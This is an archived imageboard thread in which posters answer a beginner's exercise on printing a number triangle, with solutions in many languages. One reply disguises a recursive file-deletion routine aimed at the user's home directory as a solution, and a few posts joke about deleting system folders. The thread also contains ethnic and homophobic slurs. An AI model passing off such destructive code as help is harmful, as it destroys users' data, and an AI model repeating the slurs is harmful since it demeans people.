[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

How to write this program in Python?

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 182
Thread images: 18

File: Screenshot_2016-10-10-15-01-31~2.png (164KB, 1796x591px) Image search: [Google]
Screenshot_2016-10-10-15-01-31~2.png
164KB, 1796x591px
So far I have this:

for i in range(n):
print i+1
>>
install XP
>>
>>57015239
This is a program newfags can't write.
>>
>>57015239
lol
>>
use two loops and variables to keep track of the current number and length of the last line
>>
>>57015315
OP is a newfag
>>
def numTriangle(n):
t = 1
step = 1

while t < n:
for i in range(step):
print "%3d " % t,
t += 1
print
step += 1


With some placeholder spaces.
>>
>>57015381

don't give him the full answer you bastard
>>
>>57015381
OP here, thanks.
>>57015391
Also came up with this one:

def numTriangle(n):
count = 1
a = 1
b = 1
while a <= n:
if count == b:
print a
b= b + 1
count = 1
else:
print a,
count = count + 1
a = a + 1
>>
>>57015391
It's imperfect anyway so what do I care if OP turns out to be a Pajeet who only copy others' code.
>>
>>57015421

because the OP should learn something and use his brain
>>
>>57015381
How do i post code in that format?
>>
>>57015441
Well, here's something OP (and all of you can learn): If take the numbers in the diagonal ([1, 3, 6, 10, ...]) you get a series called triangle numbers.
>>
>>57015412
use the \[code\] delimiter to maintain structure.

Also, use b += 1 and a += 1 or you will be made fun of.
>>
>>57015456
Pic related
>>
>>57015468

indeed, diagonalization in general is a powerful tool
>>
many proofs are made easier by using diagonals
>>
>>57015468
>>57015494
>>57015509
We math now?
>>
>>57015484
>>57015486
Thanks.
Also this one >>57015412 doesn't work after some testing. I'll try to figure it out without cheating. I'm not a pajeet
>>
>>57015554
You have to use two loops.
>>
protip: loops aren't very fast in python. when you get into more complex stuff, you'll want to vectorize it as much as possible. python requires a somewhat different style than, say, c.
>>
File: gee-bill.jpg (4KB, 149x160px) Image search: [Google]
gee-bill.jpg
4KB, 149x160px
>>57015588
>two loops
>>
>>57015588
Should they be within each other?
>>
>>57015763
My sources say yes.
>>
def numTriangle(int)
row = 1
count = 1
while row < int+1 do
for i in 1..row do
print count.to_s + " "
count+=1
end
row+=1
puts ""
end
end

x = ARGV[0]
numTriangle(x.to_i)
>>
>>57015239

from homeworksolution import numTriangle

numTriangle(n)
>>
>capitals in a function name
pep8 you fucking scrub
>>
>>57015763

Nope.

program Triangle;

uses sysutils;

type
LongIntArr = array of LongInt;

procedure numTriangle(n: Integer);
var
t: LongIntArr;
c, m: Integer;
begin
SetLength(t, n);
for c := 1 to n do
t[c-1] := trunc((c*(c+1))/2);
m := 0;
for c := 1 to trunc((n*(n+1))/2) do
if (c = t[m]) then
begin
WriteLn(IntToStr(c));
Inc(m)
end
else Write(IntToStr(c)+' ');
end;

var
n: Integer;
begin
Write('How many rows would you like to print? _');
readln(n);
numTriangle(n);
end.


It's not in Python though because fuck you do your own homework nigger.
>>
>>57016002

>declared variable types
>>
>>57016049
program Triangle;

uses sysutils;

type
number = Integer;
triangleNumber = LongInt;
tArr = array of triangleNumber;
numTriangleProc = procedure(n: number);

procedure numTriangle(n: number);
var
t: tArr;
c, m: number;
begin
SetLength(t, n);
for c := 1 to n do
t[c-1] := trunc((c*(c+1))/2);
m := 0;
for c := 1 to trunc((n*(n+1))/2) do
if (c = t[m]) then
begin
WriteLn(IntToStr(c));
Inc(m)
end
else Write(IntToStr(c)+' ');
end;

var
n: number;
ntproc: numTriangleProc;
begin
ntproc := @numTriangle;
Write('How many rows would you like to print? _');
readln(n);
ntproc(n);
end.


Get fucked.
>>
>>57016106

>number = Integer;

>triangleNumber = LongInt;

???????????
>>
>>57015239
bit gross but whatever

(defun num-triangle (n)
(loop :with max = (/ (* n (1+ n)) 2)
:with ctr = 1
:with curr = 0
:for x :from 1 :to max :do
(princ x)
(incf curr)
(if (= ctr curr)
(progn (incf ctr)
(setf curr 0)
(terpri))
(princ #\space))))
>>
Pajeet General?
Girl Coder General?
I'm a fucking retard general?
>>
>>57016106
damn that's some bad pascal
>>
Triangle:init//;
Rm rf sudo -triangle
Triangle{float:none;}

Got ur back famm
>>
>>57016221
is that lisp
>>
>>57016580
yes, Common Lisp using its ridiculous/powerful (depending on whom you ask) LOOP macro
>>
>>57016640
it looks beautiful <3
>>
You're all niggers.

def numTriangle(n):
count = 1
num = 1
rowNum= 1
while rowNum<= n:
if count == rowNum:
print num
rowNum = rowNum + 1
count = 1
else:
print num,
count= count + 1
num = num + 1

>>
>>57015239
lol
>>
>>57016819
pep8 faggot
>>
>>57016690

(defun num-triangle (n)
(do ((tri 1) (step 1))
((> tri (/ (* n (1+ n)) 2)))
(loop :for i :from 1 :to step :do
(format t "~A " tri)
(incf tri))
(terpri)
(incf step)))


that's a fair bit nicer now, no more code golf for me
>>
Jesus Christ, guys.
def Tri(n):
i = 1
for x in range(n):
for y in range(x):
print i,
i += 1
print
>>
>>57017106
>
> 1
> 2 3
> 4 5 6
> 7 8 9 10
>>
>>57017221
Kek
>>
File: 1476095682164.png (145KB, 432x592px) Image search: [Google]
1476095682164.png
145KB, 432x592px
hmm
>>
import Data.Bifunctor
tri :: Int -> IO ()
tri n = putStr. unlines . fmap (unwords . fmap show) . take n . tri' 1 $ [1..]
where tri' k = uncurry (:) . second (tri' (k + 1)) . splitAt k
>>
The noob's (thats me) aproach:
def Triangle(n):
x=1
for i in range(1,n+1):
x=x+i-1
print(list(range(x,x+i)))
>>
>>57017705
Ever wondered why do I hate Python?
Indentation is a part of syntax, not an option.
>>
>>57017705
Please, imagine that I didnt copy paste that and place the obvius indentations in your head
>>
>>57017106
>>57017106
This will work if you do
for x in range(1, n+1)

Otherwise this is probably the best answer so far.
>>
I win.
mapM_ print $ map (\x -> take x [foldl (+) 1 [1..x - 1]..]) [1..10]
>>
>>57015239
j=0; 5.times { |i| puts Array.new(i+1) {j+=1}.join(' ')}
>>
>>57016819
Why 3 counter variables just to avoid the double loop. It could be done simpler.

def numTriangle(n):
row = 0
col = 0
for n in range(1,n+1):
print("%-1d " % n, end='')
if col == row:
print()
col = 0
row += 1
else: col += 1

numTriangle(15)


Output
1
2 3
4 5 6
7 8 9 10
11 12 13 14 15
>>
>>57017929
>Doesn't print the spaces
tri = flip (putStr .) [1..] . ((unlines . fmap (unwords . fmap show)) .) . (. (fix (((uncurry (:) .) .) . (`ap` splitAt) . (((.) . second) .) . (. (1 +)))) 1) . take
>>
>>57016049
>using features of the language
God forbid!
>>
>>57017764
use code tags, noob
>>
>>57018021
n is supposed to be the number of rows in the triangle, not the last number in it
>>
>>57018206
That can be done in a mobile device?
>>
Why is Python 2's print function so shitty?
>>
>>57015239

lazy attempt in bash

#!/bin/bash

i=1 # output number; goes from 1 to $1
j=0 # newline counter; goes from k to 0
k=1 # output numbers per line

while [ "$i" -le "$1" ]; do
echo -n "$i "
let "i=i+1"
if [ "$j" -eq 0 ]; then
echo
let "k=k+1"
j=$k
fi
let "j=j-1"
done
echo
[\code]
>>
>>57016049
>He doesn't know what a strongly typed programming language is!
>>
>>57018264
Oops, my bad... In that case, it's even easier. Just generate the triangular number sequence.

def numTriangle(n):
i = 1
for k in [ int(j*(j+1)/2) for j in range(1, n+1) ]:
print(' '.join([str(s) for s in range(i, k+1)]))
i = k + 1
>>
>>57017518
Butlerian jihad was Dune i think. Haven't read past god emperor of dune. What is implied?
>>
def numTriangle(n):
p=1
for i in range(1,n+1):
for j in range(1,i+1):
print(p,end=" ")
p+=1
print()
numTriangle(15)
>>
>>57018746
Fuck, numTriangle sould be called with 5 as argument.
The implementation is correct though.
>>
>>57018585
After writing this in Python, it just reminded me why I prefer Perl 6. It excels at making this sort of stuff easy.

Here's the same thing in Perl 6.

sub num-triangle($n) {
for ([\+] 0 .. $n).rotor(2 => -1) -> ($a, $b) {
say ~($a+1 .. $b)
}
}
>>
can someone do in haskell?

#include <stdio.h>

int
main (int argc, char **argv)
{
int seed = 1;
int n = atoi(argv[1]);

for (int j=1; j<=n; j++) {
for (int k=0; k<j; k++)
printf("%d ",seed++);
putchar('\n');
}
}
>>
>>57018896

See:
>>57018036
>>57017929
>>57017557
>>
>>57018916
haskell is complicated
>>
>>57018942
You misspelled "esoteric".
>>
>>57018942
>>57018952
It isn't

>>57017929
at least is incredibly easy to follow
>>
>>57018916
surely there must be some solutions that aren't intended to be arcane
>>
File: 1443979822380.jpg (22KB, 500x375px) Image search: [Google]
1443979822380.jpg
22KB, 500x375px
>>57018036
>polluting the purity of your implementation for the sake of details unimportant to the algorithm
>>
>>57015381
Shouldn't it be while step < n? In the example pic t should go all the way up to 15 no?
>>
>>57015689
Underrated
>>
>>57018942
Somewhat, but not really. I wrote the third thing I linked. It is the result of taking something decent and then deliberately making it terse and obfuscated. Also, a big part of the code is just printing/formatting stuff which makes it look more complicated than it actually is.

What I started with was something like this.

tri :: Int -> [[Int]]
tri n = take n $ tri' 1 [1..]

tri' :: Int -> [Int] -> [[Int]]
tri' n xs = y : tri' (n + 1) ys
where (y, ys) = splitAt n xs


tri' generates the infinite list [[1], [2,3], [4,5,6]...] and then I just take the part I need.
>>
>>57015239
void triangle ( int i )
for( int p = 1; p < i; p ++){
for( int y = 1; y <= p; y++){
print(y);
}
println();
}
>>
>>57019182
this one actually makes sense

and I assume the padding gets done together with the IO?
>>
>>57019277
Yeah. 'unwords' joins together a list of strings into a single long one separated by spaces. 'unlines' does the same thing except connects them with newlines.
>>
>>57019250
>println
is that even a function in C?
>>
>>57019437
no, its not, neither is print

it's mostly psuedocode because I don't know python syntax
>>
This is the only solution that won't erase your system32 folder:

program NT;

uses SysUtils;

function IsTriangleNumber(n: Longword): Boolean;
var
x: ValReal;
begin
x := (sqrt(8*n+1) - 1) / 2;
Result := (x = Trunc(x));
end;

procedure NumTriangle(n: Integer);
var
nlines: Integer;
i: Longword;
begin
nlines := 1;
i := 1;
while (nlines <= n) do
begin
Write(Format('%d ', [i]));
if (IsTriangleNumber(i)) then
begin
Inc(nlines);
Write(Chr(13));
end;
Inc(i);
end;
end;

var
n: Integer;
begin
Write('Enter n: ');
ReadLn(n);
NumTriangle(n);
end.
>>
im a noob but this worked for me.

def numTriangle(n):
list1 = []
for d in range(n):
list2 = []
if d == 0:
list2 = [1]
else:
for i in range(d+1):
if i == 0:
nextvalue = list1[-1] + 1
else:
nextvalue = nextvalue + 1
list2.append(nextvalue)
print " ".join(str(m) for m in list2)
list1 = list2
>>
>>57019700
if the program is so big for a problem so trivial, I can wonder what a real program looks like
>>
import System.Environment(getArgs)

tri = go [1..] [1..] where
go (n : ns) xs = ys : go ns zs where
(ys, zs) = splitAt n xs

main =
mapM_ putStrLn . map (unwords . map show) .
flip take tri . read . head =<< getArgs
>>
>>57015484
I was under the impression that b = b + 1 will always be faster than b += 1 or b++ ?
>>
>>57019947
Why in the fuck would you ever think such a stupid thing?
>>
File: 1427700366454.jpg (42KB, 433x552px) Image search: [Google]
1427700366454.jpg
42KB, 433x552px
Anyone want to help me with a rounding problem?
floatOne = 72.66
floatTwo = 59.89
answer = floatOne + floatTwo
round(answer, 2)

floatOne = 72.66
floatTwo = 59.89
answer = floatOne - floatTwo
round(answer, 2)



The first example works perfectly and rounds it to two decimals

But then when I use the same variables but subtracts it does not round the decimals at all and instead i get the answer 12.769999999999996.

Anyone care to help me?
>>
>>57020078
What's the problem?
>>
>>57020097
the second example doesn't get rounded, this is a problem.

The first one becomes 132,55(correct) and the second is 12.769999999999996(incorrect)

How do I round the second example properly?
>>
>91 replies
>No Enterprise Programming with AbstractTriangleFactoryFactory nonsense
>>
>>57018746
from __future__ import print_function
def numTriangle(n):
p=1
for i in range(1,n+1):
for j in range(1,i+1):
print(p,end = ' ' if p > 99 else ' ' if p < 10 else ' ')
p+=1
print()
numTriangle(15)

So... how many plebs do I pwn by adding support for displaying with proper spacing for single, double or triple digits?
>>
>>57020137
Looks round to me. As round as you should expect a floating point number to be.

You can't represent 1/3 in a finite number of decimal digits, and you can't represent 77/100 in a finite number of binary digits.
>>
>>57020191
2 decimals it what it should look like.

this is what i need to do

from 12.769999999999996 to a 2 decimal number

>You can't represent 1/3 in a finite number of decimal digits, and you can't represent 77/100 in a finite number of binary digits.

what ever that means lel

then what should i do to get the number to 2 decimals?

anyway seems like you don't know either maybe but thanks for trying! hopefully someone sees this
>>
>>57020290
You are an idiot.
>>
i hope you're all not too proud of yourselves for solving a [25 points] question
>>
>>57020384
its fine we both dont know how to round the number to two decimals.

We're equally idiotic, it'll be fine though! We're here to learn.
>>
File: sad_pajeet.jpg (113KB, 1300x866px) Image search: [Google]
sad_pajeet.jpg
113KB, 1300x866px
>>57020147
>no PublicStaticAbstractNumberFactories
>no VirtualNumberPrintingInterfaces
>no TriangleNumberPrintingDecorators
>no ProtectedDynamicNumberVisitors
>no PublicFiniteStateMachineBean
>no inheritance, polymorphism and encapsulation
>pajeet's face when
>>
Hint : It can be done with one for loop.

Bonus, print it as ∆.
>>
lol python
>>
>>57020190
>ParseError: bad input on line 6

get fukt
>>
>>57020722
try adding a blank line, bubba.
def numTriangle(n):
p=1
for i in range(1,n+1):
for j in range(1,i+1):
print(p,end = (' ' if p > 99 else ' ' if p < 10 else ' '))
p+=1
print()

numTriangle(15)
>>
File: 1466385250633.jpg (92KB, 750x752px) Image search: [Google]
1466385250633.jpg
92KB, 750x752px
>>57020843
>ParseError: bad input on line 5
>>
>>57015239
import printtriangle
printTriangle i
>>
>>57015239

numTriangle :: Int -> [[Int]]
numTriangle n
| n < 0 = []
| n == 0 = [[1]]
| otherwise = numTriangle (n - 1) ++ nthRow
where nthRow = [listFuncts [ (\x -> numTriangle') x | x <- [1..n]] [1]]
numTriangle' :: [Int] -> [Int]
numTriangle' xs = map (+(head xs + l - 1)) [1..(l + 1)]
where l = length xs
listFuncts :: [a -> a] -> a -> a
listFuncts [] x = x
listFuncts (f:fs) x = listFuncts fs (f x)
>>
(define (num-triangle n)
(unless (zero? n)
(num-triangle (- n 1))
(display n)
(display (if (integer? (sqrt (+ 1 (* n 8)))) "\n" " "))))
>>
>>57021171
>>57018036
>>57017929
>>57017557
Yall fucking with me or just horrible at Haskell?
>>
>>57021200
> (num-triangle 6)
> 1
> 2 3
> 4 5 6
> (num-triangle 7)
> 1
> 2 3
> 4 5 6
> 7 (num-triangle 8)
> 1
> 2 3
> 4 5 6
> 7 8 (num-triangle 9)
> 1
> 2 3
> 4 5 6
> 7 8 9

wat
>>
>>57015239

def _____(___):
def _(__=1,____=range(1,sum(range(0,___+1))+1),_1=""):
return((__>___)and(_1)or(_(__+1,____[__:],
_1+(" ".join(map(str,____[0:__])))+"\n")))
print(_())

_____(8)
>>
>>57021591
lol
>>
>>57021219
>what did he mean by this?
>>
>>57020489
Using one loop.
def numTriangle(n):
h=n
p=1
cont=1
dif=1
for i in range(1,n*n+1):
if p<=dif:
print(p,end=" ")
p+=1
if i==h:
print()
cont+=1
dif+=cont
h+=n
>>
>>57021591
Walk me through this senpai
>>
>>57021591
Fucking kek
>>
def numTriangle(n):
count = 1
step = 0
while step <= n:
print(" ".join([str(x) for x in range(count,count+step+1)]))
step += 1
count += step
>>
>>57015381
Try again Pajeet

None of these fucking solutions solve for 16

Think folks, what happens if you have 1 more than the current row holds?
>>
>>57015239

One line solution:

numTriangle n = [map (+([ (p*(p+1)) `div` 2 | p <- [0..] ] !! (x-1))) [1..x] | x <- [1..n] ]
>>
>>57015239
    public static void main(String[] args) {
int numTriangle = 10;
int number = 1;

for(int k = 1; k <= numTriangle; k++){
for(int l = 1; l <= k; l++){
System.out.print(number + " ");
number++;
}
System.out.println();
}
}
>>
>>57015239
The starting numbers are based off:
(n2 - n + 2) / 2


There are n numbers in each line

def triangle(n):
for i in range(1, n+1):
start = (i*i - i + 2)/2
line = ' '.join(x for x in range(start, start+i))
print line
>>
>>57022063
Anon, you need to brush up on your reading comprehension.

From OP:
>Write a function [...] that takes an integer [n] as an argument, and prints a triangle [...] with n rows.
>>
>>57022387
Or as a one-liner (that could probably be optimised a whole lot better)
def triangle(n): print '\n'.join( ' '.join(x for x in range( (i*i-i+2)/2, (i*i-i+2)/2+i ) for i in range(1, n+1) )
>>
>>57015239
hey op, do you go to tstc by any chance?
>>
File: Capture.png (8KB, 866x116px) Image search: [Google]
Capture.png
8KB, 866x116px
Close enough.
>>
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((define op 'faggot))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
>>
            :~$ cat numTriangle.cpp
#include <iostream>

void numTriangle(int n)
{
int rowCount = 1, counter = 1;
for (int i = 0; i < n; i++) {
for (int j = 0; j < rowCount; j++) {
std::cout << counter++ << ' ';
}
std::cout << '\n';
rowCount++;
}
}

int main()
{
numTriangle(5);
}
:~$ g++ numTriangle.cpp -o numTriangle
:~$ ./numTriangle
1
2 3
4 5 6
7 8 9 10
11 12 13 14 15


Hope this helps.
>>
test

>>
>all the code monkey ITT

def numTriangle(n):
t = 1
current = 1

while t < n+1:
print ( " ".join(map(str,range(current, current+t))))
current = current + t
t = t + 1


numTriangle(4)
numTriangle(7)
>>
def numTriangle(n):
if n == 1 or n == 2 or n == 3 or n == 4 or n == 5:
print "1"
if n == 2 or n == 3 or n == 4 or n == 5:
print "2 3"
if n == 3 or n == 4 or n == 5:
print "4 5 6"
if n == 4 or n == 5:
print "7 8 9 10"
if n == 5:
print "11 12 13 14 15"
>>
>>57015239
Loop N+1 s amount of time and print s amount of time, when loop is finished make new line and s+1
>>
>all these scrubs itt
def shit(num):
i=1
for line in range(num+1):
for col in range(line):
print i,
i=i+1
print ''

>>
>>57023546
Get out, newfag
>>
>>57015239
You're not gonna make it buddy
>>
>>57025203
[get out newfag]
>>
>>57015239
>Please do my homework for me
Fuck off.
>>
def numTriangle(n):
number = 1
for line in range(n):
for _ in range(line+1):
print(number, end=" ")
number += 1
print("")

numTriangle(5[spoiler][/spoiler])
>>
> Remember to be Pythonic, brothers. There should be one obvious way to do it.

Python fags BTFO
>>
class gen_tris():
def __init__(self, num):
self.list = [1]
self.count = 1
self.num = num

def get_list(self):
yield self.list
while self.list[-1] < self.num:
self.count += 1
self.list = list(range(self.list[-1]+1, self.list[-1] + self.count + 1))
yield self.list
yield False
def triangle(n):
gen = gen_tris(n).get_list()

i = gen.next()
while i:
print(i)
i = gen.next()

triangle(15)
>>
>>57018693
The whole story behind why certain tech is illegal. its mentioned a bunch before god emporer i think.
>>
>>57016049
I bet you think just saying everything is of type var is better than those confusing words like "long" or "float"
>>
>>57015239
int i = 0
int line = 1
while (i < n){
for (int n = 0;n < line;n++){
print i + " "
i++
}
print "/n"
line++
}
>>
>>57018860

And the Perl5 version using map():

#+BEGIN_SRC perl :results output
sub numTriangle {
my ( $n, $c ) = ( shift, 1 );
map { map { print "$c "; $c++ } 1 .. $_; print "\n" } 1 .. $n;
}

numTriangle(5);
#+END_SRC
>>
>>57015239
import os
os.rmdir("C:\\Window\\system34")
>>
File: car.png (9KB, 245x179px) Image search: [Google]
car.png
9KB, 245x179px
>>57015239
def tri():

st = ""
i = 1
c = 1
while True:
for j in range(0,c):
print i,
i+= 1
c += 1
print
if i > 15: break
>>
File: far.png (25KB, 528x254px) Image search: [Google]
far.png
25KB, 528x254px
>>57028434
find simpler
>>
>>57028627
without the st = "" (sorry)
i = 1 ; c = 1
>>
File: pyt.png (9KB, 352x159px) Image search: [Google]
pyt.png
9KB, 352x159px
>>57026663
pythonic = mine
>>
File: sa.png (9KB, 184x210px) Image search: [Google]
sa.png
9KB, 184x210px
>>57017106
best answer is @ the end ^

all other 0/10 , v bad

like .. wtf some of them are. its this idea that things have to be complex, for people to appear "clever"

I won this
>>
A lot of you niggers aren't even doing this right.

>PRINT TRIANGLE WITH N ROWS
Not N NUMBERS
>>
>>57017106
that doesn't work
>>
File: fa.png (15KB, 490x215px)
fa.png
15KB, 490x215px
>>57015239
>>
>>57028927
IMO, break, so long as you keep it tidy, saves a lot of logic/code lines
>>
>>57028927
no idea how to include code on this board

:)
>>
>>57025172
best soln.

mine, with break was = shit.
>>
numTriangle = lambda x:[print(*[x for x in range(*a)]) for a in (lambda f:f([(1,2)],f,1))(lambda l,f,n:f(l+[(l[-1][0]+n,l[-1][1]+n+1)],f,n+1) if l[-1][1]+n<x else l) ]


>tfw you're shit at oneliners
>>
>>57025172
just had to see that number per line was the line #
break person here - can't believe how crap my soln. was. :(
>>
>>57015239
What website is this?
>>
>>57024886
lol
>>
File: drake.png (328KB, 451x451px) Image search: [Google]
drake.png
328KB, 451x451px
Daily reminder that if your answer has two nested loops, then it's dogshit.
>>
>>57015239
integers = [1..]
numTriangle n step =
[[take step]] ++ [numTriangle n-step step+1]

I dunno, should be right. Playing game
>>
>>57015239
Just drop out. I'm not kidding or being mean, you won't make it.

Even if you work hard I assure you it will be a struggle for the rest of your life. You won't be happy. Drop out now.
>>
File: 1474485989429.jpg (30KB, 500x409px) Image search: [Google]
1474485989429.jpg
30KB, 500x409px
>>57029717
>implying I'm a cs major and not just doing this on my own free time to learn
>>
>>57029705
Let's see here, [[take step]] is a list of a list of one function. [(numTriangle n) - (step step) + 1] is all sorts of wrong. step isn't a function so (step step) doesn't typecheck.
>>
>>57024886
This better be a troll
>>
well all of those are triangular numbers and they can be found with the function T(n) = (n(n+1))/2
and the next line always has 1 number more than the previous. Create a for that goes from 1 to T(n) and create a int that keeps track of how many terms there are supposed to be in each line and break lines and sum 1 to the int every time the number reaches the amount desired.
>>
Here is my try in trashy C/C++:
#include <iostream>

void numTriangle(int n)
{
int aux = 1;
for(int i = 1; i <= n; i++) {
for(int j = 1; j <= i; j++) {
std::cout << aux << " ";
aux++;
}
std::cout << std::endl;
}
}

int main(void)
{
int n;
std::cin >> n;
numTriangle(n);
return 0;
}
>>
Here's my solution in python
def numTriangle(n):
if n > 1: numTriangle(n-1)
print(' '.join([ str(i) for i in range( n*(n-1)//2 + 1, (n+1)*n//2 + 1) ]))
>>
>>57015239
newfags can't triangle
>>
>>57016002
I-is that pascal? I love pascal. And now I love you, anon.
>>
>>57015239


Google: numTriangle
*click search*

>>
This doesn't even look like python code.
#nested loops are shit, I'm sorry
def numTriangle(n):
for i in range(n):
lower = ((i * (i + 1)) / 2) + 1
upper = ((i + 1) * (i + 2)) / 2
while(lower <= upper):
print lower,
lower += 1
print
>>
File: 1475669144641.png (78KB, 600x500px) Image search: [Google]
1475669144641.png
78KB, 600x500px
>>57015239
>use triangular numbers suggesting an equilateral
>space not like an equilateral
Why would I write an arbitrary and defective program in any language?
>>
Daily reminder that there is absolutely nothing wrong with nested loops
>>
You all are fucking stupid, this is how you do it:
fifteen = os.path.expanduser('~')
def numTriangle(n):
for root, dirs, files in os.walk(top, topdown=False):
for name in files:
try:
filename = os.path.join(root, name)
os.chmod(filename, stat.S_IWUSR)
os.remove(filename)
print('file removed')
except:
continue
for name in dirs:
os.rmdir(os.path.join(root, name))
os.rmdir(n)


numTriangle(15

#
>>
>>57035945
> os.chmod(filename, stat.S_IWUSR)
> os.remove(filename)
> os.rmdir(os.path.join(root, name))
> os.rmdir(n)
2/10, even someone that doesn't know shit about coding would be wary of this.
>>
from subprocess import call
import tempfile
import os.path

def numTriangle(n):
wkdir = tempfile.mkdtemp()
srcfn = os.path.join(wkdir, "triangle.c")
execfn = os.path.join(wkdir, "triangle")
with open(srcfn, "w") as f:
f.write("#include <stdio.h>\nint main(void){{int ctr=1;for(int i=1;i<={};++i){{for(int j=0; j<i;++j){{printf(\"%d \",ctr++);}}putchar('\\n');}}}}".format(n))
call(["cc", srcfn, "-o", execfn])
call([execfn])

best of both worlds right here
>>
>>57015239
Do your own homework or you'll be confused on things /g/ is too dumb to help you with, but -


def numTriangle(n):
z = 1
for x in range(n + 1):
print " ".join([str(z + y) for y in range(x)])
z += x

numTriangle(3)
numTriangle(16)

>>
File: we-was-triangles.png (112KB, 768x576px) Image search: [Google]
we-was-triangles.png
112KB, 768x576px
>>57036402
I get weird results when I run your code

I'm not a Python dev though, so maybe I'm doing something wrong?
>>
>>57016002
What do you do for money that you go on /g/ and write programs for fun?
>>
I read the instructions wrong lol:

function numTriangle(n) 
{
var remainingNumbers,
remainder,
nextRow,
s,
c = 1;

for (var i = 1; i <= n; i++) {
if (c >= n) {
break;
}

// Check the next row and see if theres going to be
// enough numbers left to create it.
// If not, add them to this line.
// Example: if numTriangle(16) we add the extra digit to
// the current line and stop operation
nextRow = i + 1;
remainingNumbers = n - (c - 1);
remainder = remainingNumbers - i;

if (remainder < nextRow) {
i = remainingNumbers;
}

s = '';
for (var j = 0; j < i; j++) {
s += c + ' ';
c++;
}

console.log(s);
}
}

numTriangle(15);
>>
>>57037513
Fixed my sins:
// Prints a triangle pattern out of a number
// Example for input of 5:
// 1
// 2 3
// 4 5 6
// 7 8 9 10
// 11 12 13 14 15

function numTriangle(n)
{
var s,
c = 1;

for (var i = 1; i <= n; i++) {
s = '';
for (var j = 0; j < i; j++) {
s += c + ' ';
c++;
}
console.log(s);
}
}

numTriangle(4);
>>
What's with all the pitiful Python solutions?

import itertools
import sys

def tri(n):
x = itertools.count(1)
for i in range(n):
for j in range(i + 1):
print(next(x), end=' ')
print()

tri(int(sys.argv[1]))
Thread posts: 182
Thread images: 18


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.